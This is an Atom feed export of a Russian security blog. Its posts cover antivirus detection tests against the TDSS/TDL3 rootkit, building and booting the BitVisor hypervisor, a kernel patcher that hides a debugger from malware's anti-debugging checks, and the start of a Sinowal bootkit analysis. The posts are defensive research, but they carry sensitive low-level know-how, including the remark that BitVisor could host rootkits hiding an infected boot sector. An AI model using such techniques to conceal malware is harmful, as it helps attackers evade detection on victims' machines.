align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;Kaspersky Internet Security 2010 (9.0.0.736)&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;span style="color: red;"&gt;Только в памяти&lt;/span&gt; (без имени зараженного файла)&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;ZoneAlarm Internet Security Suite 9.1.507.0&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;Outpost Firewall Pro 2009 (3063.452.726.367)&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;No&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;N/A&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Как видно из таблицы, с лечением активного заражения справилось всего две программы. Утилита TDSSKiller смогла обнаружить факт заражения, однако, в качестве зараженного файла был указан atapi.sys, что не соответствовало действительности:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;00:41:06:756 1880 Driver "atapi" infected by TDSS rootkit!&lt;br /&gt;00:41:06:772 1880 C:\WINDOWS\system32\DRIVERS\atapi.sys - Verdict: 1&lt;br /&gt;00:41:06:772 1880 File "C:\WINDOWS\system32\DRIVERS\atapi.sys" infected by TDSS rootkit ... &lt;br /&gt;00:41:06:772 1880 Processing driver file: C:\WINDOWS\system32\DRIVERS\atapi.sys&lt;br /&gt;&lt;/pre&gt;Утилита RootRepeal смогла обнаружить только модифицированный руткитом Driver Object:&lt;br /&gt;&lt;pre&gt;STEALTH CODE&lt;br /&gt;-------------------&lt;br /&gt;System 0x816f78b4  -  Hidden Code&lt;br /&gt;System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLEANUP]&lt;br /&gt;System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CLOSE]&lt;br /&gt;System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_CREATE]&lt;br /&gt;...&lt;br /&gt;System 0x816f7ac8  -  Hidden Code [Driver: , IRP: IRP_MJ_WRITE]&lt;br /&gt;&lt;/pre&gt;С поведенческим обнаружением инсталляции руткита в систему не справился ни один продукт.&lt;br /&gt;&lt;br /&gt;С учётом относительно свежести тестируемого экземпляра руткита, рано делать какие-либо выводы из этих результатов. Но очевидно, что если в ближайшем будущем ситуация с детектированием TDL3 антивирусными программами не исправится, то он может стать для антивирусной индустрии самым существенным провалом со времён червя Conficker. По нашим данным, ботом TDSS заражено огромное количество машин – его ботнет на данный момент &lt;a href="http://www.networkworld.com/news/2009/072209-botnets.html"&gt;входит в число 10-ти самых крупных&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;TDSS Remover&lt;/h3&gt;Вскоре после появления новой версии TDL3 мы выпустили обновление своей утилиты &lt;a href="http://www.esagelab.ru/resources.php?s=tdss_remover"&gt;TDSS Remover&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://dl.dropbox.com/u/22903093/blog/tdss-remover-updated/tdss-remover.png" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Помимо лечения самой последней версии руткита, в новой версии утилиты была добавлена функция сохранения зашифрованной файловой системы руткита, а также утилита, которая извлекает отдельные файлы руткита из сохраненной файловой системы. Файловая система руткита автоматически сохраняется в файл с именем TDL3_volum.bin одновременно с сохранением зараженных файлов:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://dl.dropbox.com/u/22903093/blog/tdss-remover-updated/dumped-volume.png" /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Для извлечения файлов, хранящихся на зашифрованной файловой системе, используется утилита TDL3_extract.exe, которой в качестве параметра передаётся путь к файлу TDL3_volume.bin:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;C:\&amp;gt; TDL3_extract.exe dump_28.04-05.56.44\TDL3_volume.bin&lt;br /&gt;Extracting data from file dump_28.04-05.56.44\TDL3_volume.bin...&lt;br /&gt;0x00000001 0x000001ac config.ini&lt;br /&gt;0x00000002 0x00005f8c tdl&lt;br /&gt;0x0000001b 0x00000360 rsrc.dat&lt;br /&gt;0x0000001c 0x0000007f bckfg.tmp&lt;br /&gt;0x0000001d 0x00005000 tdlcmd.dll&lt;br /&gt;Press any key to quit...&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-8375323098557164965?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/8375323098557164965/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2010/04/%D0%BF%D1%80%D0%BE-%D1%80%D1%83%D1%82%D0%BA%D0%B8%D1%82-tdss-%D0%B0-%D0%B8%D0%BC%D0%B5%D0%BD%D0%BD%D0%BE-%D0%BF%D1%80%D0%BE-%D1%82%D1%83-%D0%B5%D0%B3%D0%BE.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/8375323098557164965'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/8375323098557164965'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2010/04/%D0%BF%D1%80%D0%BE-%D1%80%D1%83%D1%82%D0%BA%D0%B8%D1%82-tdss-%D0%B0-%D0%B8%D0%BC%D0%B5%D0%BD%D0%BD%D0%BE-%D0%BF%D1%80%D0%BE-%D1%82%D1%83-%D0%B5%D0%B3%D0%BE.html' title='TDSS Rootkit: Дальнейшее развитие и текущее состояние'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-3330058841110605483</id><published>2009-12-24T02:53:00.000-08:00</published><updated>2010-12-14T02:58:13.350-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='виртуализация'/><category scheme='http://www.blogger.com/atom/ns#' term='старые записи'/><category scheme='http://www.blogger.com/atom/ns#' term='безопасность'/><title type='text'>Hypervisors</title><content type='html'>Несколько недель назад на многих IT-порталах &lt;a href="http://www.opennet.ru/opennews/art.shtml?num=24221"&gt;обсуждался&lt;/a&gt; гипервизор, который предназначен для защиты ядра linux от руткитов. &lt;br /&gt;Более подробно он описывается в оригинальном пейпере от исследователей из NC State University:&lt;br /&gt;http://discovery.csc.ncsu.edu/pubs/ccs09-HookSafe.pdf&lt;br /&gt;&lt;br /&gt;Однако, это далеко не первое практическое воплощение подобной идеи. В 2008-м году на конференции &lt;a href="http://www.blackhat.com/"&gt;Black Hat USA&lt;/a&gt; был представлен доклад  &lt;b&gt;Hypervisor IPS based on Hardware Assisted Virtualization Technology&lt;/b&gt; за авторством Junichi Murakami, в котором рассматривается гипервизор под названием Viton, предназначенный для защиты ядра и критических системных структур Windows от модификации со стороны Malware.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Recently malware has become more stealthy and thus harder to detect, than ever before. Current malware uses many stealth techniques, such as dynamic code injection, rootkit technology and much more. Moreover, we have seen full kernel mode malware like Trojan.Srizbi.&lt;br /&gt;&lt;br /&gt;Many detection tools were released that specialize in kernel mode malware and especially in the detection of rootkits. However, these tools are a cat and mouse game, because they and the malware are executed on the same privilege level.&lt;br /&gt;&lt;br /&gt;This is why we developed an IPS based on a hypervisor, which uses features of hardware virtualization. It is executed on Ring-1 and thus runs with higher privileges than the OS layer.&lt;br /&gt;&lt;br /&gt;In this session, we will talk about stealth mechanisms used by recent malware and demonstrate how to protect against such malware using Hypervisor IPS.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blackhat.com/presentations/bh-usa-08/Murakami/bh_us_08_murakami_Hypervisor_IPS.pdf"&gt;Download PDF&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;К сожалению, исходный код Viton-a (так же как и HookSafe) не доступен в паблике. Однако, он базируется на другом open-source гипервизоре, под названием &lt;a href="http://www.bitvisor.org/"&gt;BitVisor&lt;/a&gt;. BitVisor умеет запускать внутри виртуального окружения уже установленную на машине операционную систему, не зависимо от её типа (Windows, *NIX-like, итд.) На данный момент, в нём реализован следующий функционал:&lt;br /&gt;&lt;br /&gt;- Поддержка 32-х разрядной архитектуры в VMM&lt;br /&gt;- Поддержка PAE&lt;br /&gt;- Поддержка эмуляции реального режима работы процессора&lt;br /&gt;&lt;br /&gt;Сам гипервизор выполнен в виде мини-ядра, которое получает управление через системный загрузчик, выполняет инициализацию и инициирует повторную загрузку "виртуализированного" компьютера уже под управлением гипервизора.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img96.imageshack.us/img96/755/bitvisor.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Исходный код BitVisor-а &lt;a href="http://sourceforge.net/projects/bitvisor/files/"&gt;доступен на SourceForge&lt;/a&gt; под BSD лицензией.&lt;br /&gt;&lt;br /&gt;В связи с тем, что readme/документация на исходники/проект отсутствует как таковая а процесс его установки достаточно нетривиальный, ниже будет приведено описание того, как запустить под BitVisor-ом операционную систему. Я тестировал его на Windows XP SP3 x32 и Gentoo Linux 2008.0&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Сбрка и настройка для *NIX-like&lt;/h3&gt;1. Распаковываем исходники в произвольный каталог (tar -xpf bitvisor-1.0.1.tar.gz).&lt;br /&gt;2. Создаём файл .config, со следующим содержанием:&lt;br /&gt;&lt;pre&gt;CONFIG_64=0#64bit VMM&lt;br /&gt;CONFIG_DEBUG_GDB=0#gdb remote debug support (32bit only)&lt;br /&gt;CONFIG_TTY_SERIAL=0#VMM uses a serial port (COM1) for output&lt;br /&gt;CONFIG_TTY_PRO1000=0#VMM output to LAN (VPN_PRO1000 must be 1)&lt;br /&gt;CONFIG_CPU_MMU_SPT_1=1#Shadow type 1 (very slow and stable)&lt;br /&gt;CONFIG_CPU_MMU_SPT_2=0#Shadow type 2 (faster and unstable)&lt;br /&gt;CONFIG_CPU_MMU_SPT_3=0#Shadow type 3 (faster and unstable)&lt;br /&gt;CONFIG_CPU_MMU_SPT_USE_PAE=0#Shadow page table uses PAE&lt;br /&gt;CONFIG_PS2KBD_F11PANIC=0#Panic when F11 is pressed (PS/2 only)&lt;br /&gt;CONFIG_PS2KBD_F12MSG=1#Print when F12 is pressed (PS/2 only)&lt;br /&gt;CONFIG_DBGSH=1#Debug shell access from guest&lt;br /&gt;CONFIG_LOG_TO_GUEST=#Log to guest memory&lt;br /&gt;CONFIG_ATA_DRIVER=1#Enable ATA driver&lt;br /&gt;CONFIG_STORAGE_ENC=0#Enable storage encryption (DEBUG)&lt;br /&gt;CONFIG_CRYPTO_VPN=0#Enable IPsec VPN Client&lt;br /&gt;CONFIG_USB_DRIVER=0#Enable USB driver&lt;br /&gt;CONFIG_SHADOW_UHCI=0#Shadow UHCI(USB1) transfers&lt;br /&gt;CONFIG_SHADOW_EHCI=0#Shadow EHCI(USB2) transfers&lt;br /&gt;CONFIG_HANDLE_USBMSC=0#Handle USB mass storage class devices&lt;br /&gt;CONFIG_HANDLE_USBHUB=0#Handle USB hub class devices&lt;br /&gt;CONFIG_CONCEAL_USBCCID=0#Conceal USB ccid class device&lt;br /&gt;CONFIG_PS2KBD_F10USB=0#Run a test for USB ICCD when F10 pressed&lt;br /&gt;CONFIG_PS2KBD_F12USB=0#Dump EHCI async. list when F12 pressed&lt;br /&gt;CONFIG_IEEE1394_CONCEALER=0#Conceal OHCI IEEE 1394 host controllers&lt;br /&gt;CONFIG_FWDBG=0#Debug via IEEE 1394&lt;br /&gt;CONFIG_ACPI_DSDT=1#Parse ACPI DSDT&lt;br /&gt;CONFIG_DISABLE_SLEEP=1#Disable ACPI S2 and S3&lt;br /&gt;CONFIG_ENABLE_ASSERT=1#Enable checking assertion failure&lt;br /&gt;CONFIG_DEBUG_ATA=0#Enable debugging ATA driver&lt;br /&gt;CONFIG_SELECT_AES_GLADMAN=0#Select Dr. Gladmans AES assembler code&lt;br /&gt;CONFIG_CARDSTATUS=0#Panic if an IC card is ejected (IDMAN)&lt;br /&gt;CONFIG_IDMAN=0#IDMAN (CRYPTO_VPN must be enabled)&lt;br /&gt;CONFIG_VPN_PRO100=0#Enable VPN for Intel PRO/100&lt;br /&gt;CONFIG_VPN_PRO1000=0#Intel PRO/1000 driver&lt;br /&gt;CONFIG_VPN_VE=0#Enable ve (Virtual Ethernet) driver&lt;br /&gt;CONFIG_VTD_TRANS=0#Enable VT-d translation&lt;br /&gt;&lt;/pre&gt;Я отключил в нём лишние драйвера, наличие которых не обязательно для функционирования, собственно, гипервизора, и все потенциально глючные фичи, которые на практике часто приводят к неработоспособности машины. Если в наличии имеется COM-порт, стоит обратить внимание на опцию CONFIG_TTY_SERIAL, которая включает вывод отладочных сообщений ядра гипервизора в него.&lt;br /&gt;&lt;br /&gt;3. Компилируем исходники командой make.&lt;br /&gt;4. По завершению компиляции, в директории проекта должен появится файл bitvisor.elf, который необходимо скопировать на системный раздел и добавить в настройки загрузчика. Для GRUB соответствующая запись в menu.lst будет выглядеть так:&lt;br /&gt;&lt;pre&gt;title BitVisor&lt;br /&gt;root (hd0,0)&lt;br /&gt;kernel /boot/bitvisor.elf&lt;br /&gt;&lt;/pre&gt;Установка завершена, перезагружаем машину и выбираем BitVisor в загрузочном меню. После этого на экране должен появится лог инициализации гипервизора примерно следующего вида:&lt;br /&gt;&lt;pre&gt;Starting BitVisor...&lt;br /&gt;Copyright (c) 2007, 2008 University of Tsukuba&lt;br /&gt;All rights reserved.&lt;br /&gt;4226078720 bytes (4030 MiB) RAM available.&lt;br /&gt;VMM will use 0xB7C00000-0xBFC00000 (128 MiB).&lt;br /&gt;ACPI DMAR not found.&lt;br /&gt;..................................................                                                  &lt;br /&gt;Disable ACPI S3&lt;br /&gt;ACPI MCFG cleared.&lt;br /&gt;Module not found.&lt;br /&gt;Processor 0 (BSP)&lt;br /&gt;Processor 1 (AP)&lt;br /&gt;SVM is not available.&lt;br /&gt;SVM is not available.&lt;br /&gt;Processor 1 2365101240 Hz&lt;br /&gt;Processor 0 2365101288 Hz&lt;br /&gt;Loading drivers.&lt;br /&gt;PCI: finding devices ........................ 24 devices found&lt;br /&gt;Starting a virtual machine.&lt;br /&gt;&lt;/pre&gt;После того как гипервизор запустится, на экране снова появится меню системного загрузчика, в котором, на этот раз, будет необходимо выбрать загрузку вашей операционной системы.&lt;br /&gt;Что дальше? - А всё. Если загрузка прошла успешно - можно радоваться тому факту, что ОС работает в виртуальном окружении, практические возможности BitVisor-а на этом и заканчиваются. &lt;br /&gt;Проверить его работу можно с помощью следующей программы (dbgsh.c - была выдрана из комментариев в исходных текстах):&lt;br /&gt;&lt;pre&gt;#include "stdio.h"&lt;br /&gt;#include "stdlib.h"&lt;br /&gt;#ifdef __MINGW32__&lt;br /&gt;#include "conio.h"&lt;br /&gt;#define NOECHO()&lt;br /&gt;#define GETCHAR() getch ()&lt;br /&gt;#define PUTCHAR(c) putch (c)&lt;br /&gt;#define ECHO()&lt;br /&gt;#else&lt;br /&gt;#define NOECHO() system ("stty -echo -icanon")&lt;br /&gt;#define GETCHAR() getchar ()&lt;br /&gt;#define PUTCHAR(c) putchar (c), fflush (stdout)&lt;br /&gt;#define ECHO() system ("stty echo icanon")&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;static int&lt;br /&gt;vmcall_dbgsh (int c)&lt;br /&gt;{&lt;br /&gt;    int r, n;&lt;br /&gt;&lt;br /&gt;    asm volatile ("push (%%ebx); push 4(%%ebx); lea 8(%%esp),%%esp; vmcall"&lt;br /&gt;              : "=a" (n) : "a" (0), "b" ("dbgsh"));&lt;br /&gt;    if (!n)&lt;br /&gt;        return -1;&lt;br /&gt;    asm volatile ("vmcall" : "=a" (r) : "a" (n), "b" (c));&lt;br /&gt;    return r;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void&lt;br /&gt;e (void)&lt;br /&gt;{&lt;br /&gt;    ECHO ();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;main (int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;    int s, r;&lt;br /&gt;    FILE *fp;&lt;br /&gt;&lt;br /&gt;    if (argc &amp;gt;= 2) {&lt;br /&gt;        fp = fopen (argv[1], "w");&lt;br /&gt;    } else {&lt;br /&gt;        fp = NULL;&lt;br /&gt;    }&lt;br /&gt;    vmcall_dbgsh (-1);&lt;br /&gt;    if (vmcall_dbgsh (-1) == -1)&lt;br /&gt;        exit (1);&lt;br /&gt;    atexit (e);&lt;br /&gt;    NOECHO ();&lt;br /&gt;    s = -1;&lt;br /&gt;    for (;;) {&lt;br /&gt;        r = vmcall_dbgsh (s);&lt;br /&gt;        s = -1;&lt;br /&gt;        if (r == 0) {&lt;br /&gt;            s = GETCHAR ();&lt;br /&gt;        } else if (r &amp;gt; 0) {&lt;br /&gt;            if (fp) {&lt;br /&gt;                fprintf (fp, "%c", r);&lt;br /&gt;                fflush (fp);&lt;br /&gt;            }&lt;br /&gt;            PUTCHAR (r);&lt;br /&gt;            s = 0;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;} &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Будучи скомпилированной (gcc dbgsh.c -o dbgsh) и запущенной под гипервизором, она предоставит command line интерфейс для доступа к его отладочным функциям:&lt;br /&gt;&lt;pre&gt;# ./dbgsh&lt;br /&gt;&amp;gt; help&lt;br /&gt;debug           debugger&lt;br /&gt;log             print VMM log&lt;br /&gt;recvexample     msgregister() example&lt;br /&gt;sendexample     msgsendbuf() example&lt;br /&gt;sendint         call msgsendint()&lt;br /&gt;serialtest      serial I/O test&lt;br /&gt;shell           shell&lt;br /&gt;reboot          reboot&lt;br /&gt;exit            exit shell &lt;br /&gt;&lt;/pre&gt;Встроенный отладчик умеет:&lt;br /&gt;- Дампить виртуальную и физическую память VMM.&lt;br /&gt;- Дампить виртуальную и физическую память виртуальной машины.&lt;br /&gt;- Показывать регистры процессора.&lt;br /&gt;- Выводить лог загрузки гипервизора.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Сбрка и настройка для Windows&lt;/h3&gt;Компиляция BitVisor-а в Windows мало отличается от таковой под *NIX, и для неё подходит среда типа &lt;a href="http://www.cygwin.com/"&gt;Cygwin&lt;/a&gt; или &lt;a href="http://www.mingw.org/"&gt;MinGW&lt;/a&gt;.&lt;br /&gt;Загрузка ядра гипервизора осуществляется с помощью &lt;a href="https://gna.org/projects/grub4dos/"&gt;GRUB4DOS&lt;/a&gt;, который необходимо настроить следующим образом:&lt;br /&gt;&lt;br /&gt;1. В корень системного раздела (С:\) копируются файлы bitvisor.elf и grldr, который входит в состав GRUB4DOS.&lt;br /&gt;2. В той же директории создаётся файл menu.lst следующего содержания:&lt;br /&gt;&lt;pre&gt;default 0&lt;br /&gt;timeout 10&lt;br /&gt;&lt;br /&gt;title BitVisor&lt;br /&gt;root (hd0,0)&lt;br /&gt;kernel /bitvisor.elf&lt;br /&gt;&lt;/pre&gt;3. В конец файла boot.ini добавляется следующая строка: C:\GRLDR="Start GRUB"&lt;br /&gt;&lt;br /&gt;После загрузки ОС под гипервизором, его работоспособность проверяется с помощью приведенной выше программы (на скриншете виден дамп образа ядра Windows, работающего в виртуальной среде):&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img15.imageshack.us/img15/9056/bitvisordebsh.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Выводы&lt;/h3&gt;После прочтения этого материала, многие, вероятно, зададут вопрос: "Зачем нужен гипервизор, который ничего полезного не умеет делать?". В текущем виде BitVisor действительно представляет собой не более чем PoC, но в силу своей архитектуры, он хорошо подходит для написания на его базе как руткитов, так и всевозможных защитных систем вроде HookSafe и Viton.&lt;br /&gt;Сделать сокрытие зараженного загрузочного сектора на уровне PIO, к примеру, с помощью BitVisor-а представляется довольно простой задачей.&lt;br /&gt;На данный момент, в нём очень не хватает &lt;a href="http://bluepillproject.org/"&gt;BluePill&lt;/a&gt;-like nested virtualization, однако, на фоне уже сделанной работы реализация вложенной виртуализации не выглядит пугающе.&lt;br /&gt;&lt;br /&gt;Для желающих запустить BitVisor на своей машине, &lt;a href="http://narod.ru/disk/16296568000/bitvisor_stuff.rar.html"&gt;я выкладываю архив&lt;/a&gt;, в котором находятся:&lt;br /&gt;&lt;br /&gt;- Файл .config, который необходим для сборки гипервизора.&lt;br /&gt;- Собственно, собранный гипервизор (bitvisor.elf).&lt;br /&gt;- Файлы из GRUB4DOS, необходимые для загрузки гипервизора в Windows (menu.lst, grldr).&lt;br /&gt;- dbgsh.exe (Windows версия программы для отладки и проверки работоспособности гипервизора).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-3330058841110605483?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/3330058841110605483/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2009/12/hypervisors.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/3330058841110605483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/3330058841110605483'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2009/12/hypervisors.html' title='Hypervisors'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-1103994050136760066</id><published>2009-12-13T02:59:00.000-08:00</published><updated>2010-12-14T03:01:23.986-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='программы'/><category scheme='http://www.blogger.com/atom/ns#' term='реверсинг'/><category scheme='http://www.blogger.com/atom/ns#' term='старые записи'/><title type='text'>Обмануть антиотладку</title><content type='html'>Мне периодически попадаются экземпляры malware, которые умеют детектировать присутствие удалённого отладчика подцепленного к виртуальной машине. Как правило, проблемы в данном случае создают именно руткиты, так как грузится они могут раньше, чем инициализируется WinDbg сессия (буткиты, заражение NTLDR и драйверов, которые используются на начальном этапе загрузки). &lt;br /&gt;&lt;br /&gt;В 99% случаев, обнаружение удалённого отладчика реализовано весьма тривиально:&lt;br /&gt;1. Проверка глобальной экспортируемой переменной ядра &lt;b&gt;KdDebuggerEnabled&lt;/b&gt;, которая при активном отладчике устанавливается в TRUE, и влияет на обработку исключений, и др.&lt;br /&gt;2. Вызов функции NtQuerySystemInformation c классом &lt;b&gt;SystemDebuggerInformation&lt;/b&gt;, в возвращаемых данных будет следующая структура:&lt;br /&gt;&lt;pre&gt;typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION &lt;br /&gt;{ // Information Class 35&lt;br /&gt;    BOOLEAN DebuggerEnabled;&lt;br /&gt;    BOOLEAN DebuggerNotPresent;&lt;br /&gt;&lt;br /&gt;} SYSTEM_KERNEL_DEBUGGER_INFORMATION, &lt;br /&gt;*PSYSTEM_KERNEL_DEBUGGER_INFORMATION; &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Оба способа обнаружения отладчика обходятся довольно просто: единственная сложность заключается в том, что для этого, по озвученным выше причинам, не подходит hotpatching ядра из своего драйвера. Поэтому, я написал патчер, которы модифицирует файл ядра на диске:&lt;br /&gt;&lt;br /&gt;- Патчатся все xrefs на KdDebuggerEnabled таким образом, что бы значение оригинальной экспортируемой переменной никогда не изменялось.&lt;br /&gt;- Перехватывается системный вызов NtQuerySystemInformation, с подменой значений обоих полей для соответствующего информационного класса.&lt;br /&gt;&lt;br /&gt;&lt;img src='http://img693.imageshack.us/img693/614/screenshotp.gif' border='0'/&gt;&lt;br /&gt;&lt;br /&gt;Архив с бинарником и исходными текстоми &lt;a href="http://narod.ru/disk/16099965000/KdDebuggerEnabled_patch-1.0.zip.html"&gt;доступен для загрузки&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Разумеется, данный патч не расчитан на защиту от всех теоретически возможных методов детекта WinDbg, но при необходимости, нужный функционал можно реализовать по аналогии с уже имеющимся (чем я и буду заниматься по мере необходимости).&lt;br /&gt;&lt;br /&gt;Кроме, собственно, патча и readme к нему, в архиве лежит и драйвер, который позволяет проверить его работоспособность, выводя в debug output информацию о наличии отладчика.&lt;br /&gt;&lt;br /&gt;На системе с активным удалённым отладчиком без патча:&lt;br /&gt;&lt;pre&gt;nt!KdDebuggerEnabled: 0x8054b6c1 (TRUE)&lt;br /&gt;   DebuggerEnabled=0x00000001&lt;br /&gt;DebuggerNotPresent=0x00000000&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;На пропатченой системе с активным удалённым отладчиком:&lt;br /&gt;&lt;pre&gt;nt!KdDebuggerEnabled: 0x8054b6c1 (FALSE)&lt;br /&gt;   DebuggerEnabled=0x00000000&lt;br /&gt;DebuggerNotPresent=0x00000001&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-1103994050136760066?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/1103994050136760066/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2009/12/%D0%BE%D0%B1%D0%BC%D0%B0%D0%BD%D1%83%D1%82%D1%8C-%D0%B0%D0%BD%D1%82%D0%B8%D0%BE%D1%82%D0%BB%D0%B0%D0%B4%D0%BA%D1%83.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/1103994050136760066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/1103994050136760066'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2009/12/%D0%BE%D0%B1%D0%BC%D0%B0%D0%BD%D1%83%D1%82%D1%8C-%D0%B0%D0%BD%D1%82%D0%B8%D0%BE%D1%82%D0%BB%D0%B0%D0%B4%D0%BA%D1%83.html' title='Обмануть антиотладку'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-6938197322515958231</id><published>2009-10-02T03:05:00.000-07:00</published><updated>2011-12-03T16:34:21.283-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='программы'/><category scheme='http://www.blogger.com/atom/ns#' term='старые записи'/><title type='text'>Анализ и обнаружение буткита Sinowal</title><content type='html'>Мы выпустили универсальную утилиту для удаления буткитов (включая Sinowal/Mebroot всех версий, &lt;br /&gt;Stoned Bootkit и все возможные в будущем вариации на тему заражения MBR). &lt;br /&gt;Читать описание и скачать утилиту можно  &lt;a href="http://esagelab.ru/resources.php?n=software"&gt;здесь&lt;/a&gt;.&lt;br /&gt;Далее – предыстория.&lt;br /&gt;&lt;br /&gt;Буткиты, как разновидность широко распространенных вредоносных программ, появились in the wild в начале 2008-го года в лице семейства троянцев Sinowal (или Mebroot, по классификации других вендоров) и стали настоящей головной болью для антивирусной индустрии. &lt;br /&gt;К тому же, недавно был представлен концептуальный буткит – Stoned Bootkit. Это послужило поводом для проведения небольшого исследования (см.ниже) с целью выяснить, как справляются антивирусы со старой доброй угрозой и ее новыми вариациями, а результаты тестирования, в свою очередь, послужили поводом для разработки простой и универсальной утилиты для лечения любых заражений 